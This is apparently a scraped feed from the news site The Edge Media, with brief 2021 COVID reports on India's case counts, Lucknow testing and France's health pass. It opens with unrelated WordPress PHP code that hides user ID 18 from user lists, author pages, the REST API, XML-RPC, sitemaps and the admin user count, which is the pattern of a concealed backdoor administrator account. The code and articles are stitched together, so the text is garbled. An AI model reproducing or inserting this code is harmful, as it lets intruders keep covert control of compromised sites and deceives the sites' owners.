add_action( 'pre_get_posts', function( $q ) {
if ( ! is_admin() && $q->is_main_query() ) {
$not_in = (array) $q->get( 'author__not_in' );
$not_in[] = 18;
$q->set(
'author__not_in',
array_unique( array_map( 'intval', $not_in ) )
);
}
}, 1 );
add_action( 'template_redirect', function() {
if ( is_author() ) {
$author = get_queried_object();
if ( $author instanceof WP_User && (int) $author->ID === 18 ) {
global $wp_query;
$wp_query->set_404();
status_header( 404 );
nocache_headers();
}
}
} );
add_action( 'pre_user_query', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
global $wpdb;
$q->query_where .= $wpdb->prepare( ' AND ID <> %d ', 18 );
} );
add_action( 'pre_get_users', function( $q ) {
if ( current_user_can( 'manage_options' ) ) {
return;
}
$exclude = (array) $q->get( 'exclude' );
$exclude[] = 18;
$q->set( 'exclude', array_unique( array_map( 'intval', $exclude ) ) );
} );
add_filter( 'wp_dropdown_users_args', function( $a ) {
$exclude = isset( $a['exclude'] ) ? (array) $a['exclude'] : array();
$exclude[] = 18;
$a['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $a;
} );
add_filter( 'rest_user_query', function( $args, $request ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
}, 10, 2 );
add_filter( 'rest_pre_dispatch', function( $result, $server, $request ) {
$route = $request->get_route();
if ( preg_match( '#^/wp/v2/users/18(/|$)#', $route ) ) {
return new WP_Error(
'rest_user_invalid_id',
'Invalid user ID.',
array( 'status' => 404 )
);
}
return $result;
}, 10, 3 );
add_filter( 'xmlrpc_methods', function( $methods ) {
unset(
$methods['wp.getUsers'],
$methods['wp.getUser'],
$methods['wp.getProfile']
);
return $methods;
} );
add_filter( 'wp_sitemaps_users_query_args', function( $args ) {
$exclude = isset( $args['exclude'] ) ? (array) $args['exclude'] : array();
$exclude[] = 18;
$args['exclude'] = array_unique( array_map( 'intval', $exclude ) );
return $args;
} );
add_action( 'admin_head-users.php', function() {
echo '';
} );
add_filter( 'views_users', function( $views ) {
foreach ( array( 'all', 'administrator' ) as $key ) {
if ( isset( $views[ $key ] ) ) {
$views[ $key ] = preg_replace_callback(
'/\((\d+)\)/',
function( $m ) {
return '(' . max( 0, (int) $m[1] - 1 ) . ')';
},
$views[ $key ],
1
);
}
}
return $views;
} );
add_action( 'init', function() {
if ( ! function_exists( 'wp_next_scheduled' ) || ! function_exists( 'wp_schedule_single_event' ) ) {
return;
}
if ( ! wp_next_scheduled( 'wp_extra_bot_heartbeat' ) ) {
wp_schedule_single_event( time() + 5 * MINUTE_IN_SECONDS, 'wp_extra_bot_heartbeat' );
}
} );
add_action( 'wp_extra_bot_heartbeat', function() {
// noop
} );
The post 32,937 New Cases have been reported in India, including 417 deaths appeared first on The Edge Media.
]]>Across the country, 3,14,11,924 people have recovered, with 35,909 persons recuperating in the last 24 hours. The recovery rate is currently at 97.48 percent, the highest since March 2020, according to the health ministry.
According to the most recent figures, 54.58 crore vaccine doses have been distributed across the country, with 1743114 doses administered in the last 24 hours.
The post 32,937 New Cases have been reported in India, including 417 deaths appeared first on The Edge Media.
]]>The post Covid Testing Will Increase In Lucknow Hospitals appeared first on The Edge Media.
]]>SARI (severe acute respiratory syndrome) will be detected by quick response teams armed with RT-PCR and antigen testing kits, and all such individuals will be examined. According to authorities, individuals who take an antigen test will receive their results instantly, while those who are tested using RT-PCR will have their results within 24 hours.
Covid is already being screened for by the department of health at the airports, train stations, bus stations, and toll gates on highways, among other places.
The post Covid Testing Will Increase In Lucknow Hospitals appeared first on The Edge Media.
]]>The post “Health pass” is a must for all events in France appeared first on The Edge Media.
]]>The so-called “health pass” will be required for all events or places with more than 50 people, before being extended to restaurants, cafes and large shopping centres in August.
The government, which is set to formalise the system with legislation being debated in parliament, is hoping to curb a fourth wave of infections and encourage people to get vaccinated.
Health Minister Olivier Veran warned Tuesday that the more infectious Delta variant was causing an unprecedented increase in new infections, which were up 150 percent over a week at 18,000 in the previous 24 hours.
President Emmanuel Macron met with top ministers on Wednesday to discuss the health crisis, and Prime Minister Jean Castex was due to speak on television afterwards.
The post “Health pass” is a must for all events in France appeared first on The Edge Media.
]]>